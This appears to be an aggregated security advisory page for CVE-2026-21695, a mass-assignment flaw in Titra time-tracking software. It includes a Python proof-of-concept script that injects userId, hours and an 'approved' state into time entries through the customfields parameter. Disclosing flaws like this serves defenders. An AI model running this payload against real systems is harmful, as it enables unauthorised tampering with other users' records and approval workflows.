Security Vulnerability Report
中文
CVE-2026-21695 CVSS 4.3 MEDIUM

CVE-2026-21695

Published: 2026-01-08 00:16:00
Last Modified: 2026-01-12 18:40:57

Description

Titra is open source project time tracking software. In versions 0.99.49 and below, an API has a Mass Assignment vulnerability which allows authenticated users to inject arbitrary fields into time entries, bypassing business logic controls via the customfields parameter. The affected endpoint uses the JavaScript spread operator (...customfields) to merge user-controlled input directly into the database document. While customfields is validated as an Object type, there is no validation of which keys are permitted inside that object. This allows attackers to overwrite protected fields such as userId, hours, and state. The issue is fixed in version 0.99.50.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:kromit:titra:*:*:*:*:*:*:*:* - VULNERABLE
Titra <= 0.99.49

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2026-21695 Mass Assignment PoC for Titra # Target: Titra <= 0.99.49 BASE_URL = "http://target-host/api" def exploit_mass_assignment(target_url, username, password, target_entry_id): """ Exploit mass assignment vulnerability in Titra API This PoC demonstrates how an attacker can inject arbitrary fields into time entries via the customfields parameter. """ # Step 1: Login to get authentication token login_url = f"{target_url}/login" login_data = {"email": username, "password": password} response = requests.post(login_url, json=login_data) if response.status_code != 200: print(f"[-] Login failed") return None token = response.json().get("token") headers = {"Authorization": f"Bearer {token}"} # Step 2: Craft malicious request with mass assignment payload # Inject arbitrary fields including protected fields like userId, hours, state malicious_payload = { "customfields": { "userId": "attacker-controlled-user-id", # Overwrite protected field "hours": 999, # Manipulate hours "state": "approved", # Bypass approval workflow "description": "Malicious entry via mass assignment" } } # Step 3: Send request to update time entry update_url = f"{target_url}/time-entries/{target_entry_id}" response = requests.put(update_url, json=malicious_payload, headers=headers) if response.status_code == 200: print("[+] Mass assignment exploit successful!") print(f"[+] Time entry {target_entry_id} has been modified") return True else: print(f"[-] Exploit failed: {response.status_code}") return False # Usage example # exploit_mass_assignment(BASE_URL, "[email protected]", "password123", "entry-id-123")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21695", "sourceIdentifier": "[email protected]", "published": "2026-01-08T00:15:59.833", "lastModified": "2026-01-12T18:40:56.820", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Titra is open source project time tracking software. In versions 0.99.49 and below, an API has a Mass Assignment vulnerability which allows authenticated users to inject arbitrary fields into time entries, bypassing business logic controls via the customfields parameter. The affected endpoint uses the JavaScript spread operator (...customfields) to merge user-controlled input directly into the database document. While customfields is validated as an Object type, there is no validation of which keys are permitted inside that object. This allows attackers to overwrite protected fields such as userId, hours, and state. The issue is fixed in version 0.99.50."}, {"lang": "es", "value": "Titra es un software de seguimiento de tiempo de proyectos de código abierto. En las versiones 0.99.49 e inferiores, una API tiene una vulnerabilidad de Asignación Masiva que permite a los usuarios autenticados inyectar campos arbitrarios en las entradas de tiempo, eludiendo los controles de lógica de negocio a través del parámetro customfields. El endpoint afectado utiliza el operador de propagación de JavaScript (...customfields) para fusionar la entrada controlada por el usuario directamente en el documento de la base de datos. Aunque customfields se valida como un tipo de Objeto, no hay validación de qué claves están permitidas dentro de ese objeto. Esto permite a los atacantes sobrescribir campos protegidos como userId, hours y state. El problema está solucionado en la versión 0.99.50."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-915"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:kromit:titra:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.99.50", "matchCriteriaId": "271EC7B1-5D87-473E-A67A-C9DCE59DA114"}]}]}], "references": [{"url": "https://github.com/kromitgmbh/titra/commit/29e6b88eca005107729e45a6f1731cf0fa5f8938", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/kromitgmbh/titra/security/advisories/GHSA-gc65-vr47-jppq", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/kromitgmbh/titra/security/advisories/GHSA-gc65-vr47-jppq", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}